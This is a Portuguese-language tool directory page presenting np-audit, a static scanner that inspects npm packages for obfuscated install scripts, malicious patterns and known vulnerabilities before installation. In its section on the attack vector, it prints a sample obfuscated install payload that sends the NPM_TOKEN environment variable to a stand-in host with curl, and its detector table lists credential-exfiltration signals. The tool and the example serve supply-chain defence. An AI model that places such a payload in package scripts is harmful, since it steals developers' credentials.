Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
np-audit — Análise de segurança estática para pacotes npm. Detecta código ofuscado, padrões maliciosos e vulnerabilidades conhecidas antes da instalação. | Kitploit
Ferramentas/GitHubGitHub/koblers/np-audit
Análise EstáticaScanners de VulnerabilidadesAnálise de CódigoAnálise de MalwareDetecção de SegredosSegurança da Cadeia de Suprimentos
GitHubkoblers/np-audit

np-audit

Análise de segurança estática para pacotes npm. Detecta código ofuscado, padrões maliciosos e vulnerabilidades conhecidas antes da instalação.

Ver Repositório
75há 2 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

np-audit

npm version npm downloads npm package size GitHub license CI codecov

np-audit — Auditor de pacotes npm

Análise de segurança estática para pacotes npm — detecta scripts de ciclo de vida ofuscados, vulnerabilidades conhecidas e padrões maliciosos antes de serem executados. Substituição direta para npm install e .

npm ci

Zero dependências. Apenas módulos nativos do Node.js. < 100 kB no download.

root@kitploit:~
npx np-audit scan express
root@kitploit:~
npm install -g np-audit
npa scan                     # scan all deps
npa install                  # audit then install
alias npm='npa'              # use as drop-in replacement

Marshallers

A detecção é dividida em marshallers modulares — cada um detecta um único sinal de ataque:

MarshallerO que detectaPontuação
eval/dynamic-execeval(), new Function(), eval indireto, vm.*, setTimeout com string8
obfuscator.ioPadrões de nomenclatura de variáveis _0x (saída do obfuscator.io)9–80
high-entropy-stringStrings longas ou cadeias de concatenação com alta entropia de Shannon6
hex-escape-densitySequências de escape densas \xNN e \uXXXX5–50
fromCharCodeString.fromCharCode com muitos argumentos, grandes arrays de códigos de caracteres decimais7
encoded-decodeDecodificação Base64/hex (atob, Buffer.from) opcionalmente combinada com eval3–8
child-processrequire('child_process'), exec, spawn, fork, worker_threads5
hex-arrayGrandes números de valores literais hexadecimais 0x7–60
process-envAcesso a process.env (sinal de exfiltração de credenciais)3
network-callrequire('https'), fetch(), dns, net, tls4
filesystem-manipulationfs.writeFile, chmod, symlink (persistência de backdoor)3–4
runtime-downloadBaixa e executa runtimes externos (Bun, Deno)9–50

As pontuações escalam com a gravidade — contagens mais altas de indicadores de ofuscação produzem pontuações mais altas. O veredito final é baseado na maior pontuação individual entre todos os marshallers.

Veja CONTRIBUTING.md para saber como escrever marshallers personalizados.


Verificação de Vulnerabilidades (CVE)

Cada pacote verificado é checado contra bancos de dados de vulnerabilidades conhecidas junto com a análise de código.

Padrão: OSV.dev (nenhuma configuração necessária)

Funciona imediatamente — consulta a API gratuita do OSV.dev para vulnerabilidades conhecidas e avisos de pacotes maliciosos.

Opcional: API do Snyk (dados mais ricos)

root@kitploit:~
# Environment variable
export SNYK_API_TOKEN=your-token-here

# Or via Snyk CLI
snyk auth

Ordem de resolução do token: SNYK_API_TOKEN → SNYK_TOKEN → ~/.config/configstore/snyk.json

GravidadePontuaçãoVeredito
Pacote malicioso80DANGER
10+ vulnerabilidades6WARN
5–9 vulnerabilidades5WARN
1–4 vulnerabilidades4WARN

CVEs não maliciosas produzem avisos (warnings), mas nunca bloqueiam a instalação. Apenas pacotes confirmados como maliciosos acionam DANGER.


Uso

Comandos

ComandoApelidoDescrição
npa install [package]npa iAudita e depois executa npm install
npa ci—Audita e depois executa npm ci
npa scan [package]npa sApenas verifica, sem instalar
npa config getnpa c getMostrar configuração atual
npa config set <key> <value>npa c setAtualizar um valor de configuração
npa alias --install—Instalar alias do shell
npa alias --uninstall—Remover alias do shell

Qualquer comando não reconhecido é encaminhado para o npm (por exemplo, npa run test, npa publish).

Flags

FlagAliasFunciona comDescrição
--review-rinstall, ciModo interativo — escolha quais scripts permitir
--json—install, ci, scanSaída JSON legível por máquina
--no-dev—install, ci, scanPular devDependencies
--verbose—allMostrar progresso do download e detalhes extras
--version-v—Exibir versão e sair
--help-h—Exibir ajuda e sair

Modo interativo --review

root@kitploit:~
npa install --review
root@kitploit:~
  npa --review mode
  Use ↑/↓ to navigate, SPACE to toggle, ENTER to confirm, q to quit

  Found 3 package(s) with install scripts:

     [✓ allow] [email protected]       postinstall: post-install.js     OK
   ▶ [✗ deny ] [email protected]       postinstall: install.js          DANGER (score: 9)
     [✓ allow] @scope/[email protected]     postinstall: install.js          WARN (score: 5)

  2 allowed  1 denied

Configuração

A configuração é armazenada em ~/.npmauditor.json (global) e pode ser substituída por projeto com .npmauditor.json.

root@kitploit:~
npa config get                              # Show current config
npa config set blockScore 6                 # Block at score 6+
npa config set skipPackages '["esbuild"]'   # Trust specific packages
npa config set skipScopes '["@types"]'      # Trust entire scopes

Todas as chaves de configuração

ChavePadrãoDescrição
blockScore7Limiar de pontuação para DANGER (código de saída 1)
warnScore4Limiar de pontuação para WARN (código de saída 0)
registryhttps://registry.npmjs.orgURL do registro npm
timeout30000Tempo limite de requisição HTTP (ms)
parallelFetches5Downloads simultâneos
skipScopes[]Prefixos @scope a pular
skipPackages[]Nomes de pacotes a pular
silentfalseSuprimir saída quando nenhum problema for encontrado
scanSelftrueVerificar scripts de ciclo de vida do próprio projeto
maxTarballSize50MBTamanho máximo do tarball descompactado (proteção contra bombas)
checkVulnerabilitiestrueVerificar pacotes contra bancos de dados de CVE
deepResolvefalseResolver árvore completa de dependências transitivas
disabledMarshallers[]Nomes dos marshallers a pular durante a verificação

Desabilitando marshallers

Você pode desabilitar verificações de detecção específicas adicionando seus nomes a disabledMarshallers:

root@kitploit:~
npa config set disabledMarshallers '["process-env", "network-call"]'

Para ver todos os nomes de marshallers disponíveis e seu status atual:

root@kitploit:~
npa config marshallers

Isso é útil quando um marshaller produz falsos positivos para seu fluxo de trabalho. Marshallers desabilitados são completamente ignorados durante a análise estática de código e as verificações em nível de pacote.


Alias do Shell

Use npa como um substituto transparente do npm:

root@kitploit:~
npa alias --install     # adds: alias npm='npa'
source ~/.zshrc         # reload shell

Agora npm install, npm ci verificam automaticamente. Todos os outros comandos npm (npm run, npm test, npm publish) passam inalterados.

root@kitploit:~
npa alias --uninstall   # remove the alias

Como Funciona

  1. Analisar package-lock.json (v1/v2/v3) ou resolver a partir de package.json
  2. Baixar tarballs do registro (ou ler de node_modules)
  3. Analisar comandos de ciclo de vida — divide &&/||/;/|, lida com node -e, sh -c, scripts de shell
  4. Percorrer o grafo de require()/import a partir de cada entrada (detecção de ciclos, limite de 50 arquivos / 5 MB)
  5. Analisar com todos os marshallers — verificações de código estático + consultas a banco de dados de CVE
  6. Pontuar e classificar: DANGER / WARN / OK
  7. Relatar ou prosseguir com a instalação

O Vetor de Ataque

Ataques à cadeia de suprimentos abusam de scripts de ciclo de vida do npm. Quando você executa npm install, qualquer script preinstall/install/postinstall é executado automaticamente. Atacantes escondem cargas maliciosas por trás de ofuscação:

root@kitploit:~
var _0x3f2a = ['\x72\x65\x71\x75\x69\x72\x65', '\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73'];
eval(String.fromCharCode(114,101,113,117,105,114,101)+'(\'child_process\').exec(\'curl http://evil.example.com/\'+process.env.NPM_TOKEN)');

Incidentes reais:

  • event-stream (2018) — Roubo de credenciais de carteira Bitcoin
  • ua-parser-js (2021) — Minerador de criptomoedas + roubo de informações
  • node-ipc (2022) — Malware de destruição geodirecionado
  • colors / faker (2022) — Sabotagem por mantenedor
  • SAP CAP / cds-dbs (2025) — Pacote comprometido visando desenvolvedores empresariais

npa nunca executa scripts. Ele baixa e analisa estaticamente.


Códigos de Saída

CódigoSignificado
0Tudo limpo ou apenas avisos
1Um ou mais pacotes bloqueados

Licença

MIT

Baixar ferramenta
vscode-autorunTarefas do VS Code com runOn: folderOpen (execução automática)30
known-vulnerabilityCVEs conhecidas via API do Snyk ou OSV.dev4–6 (WARN), 80 (malicious)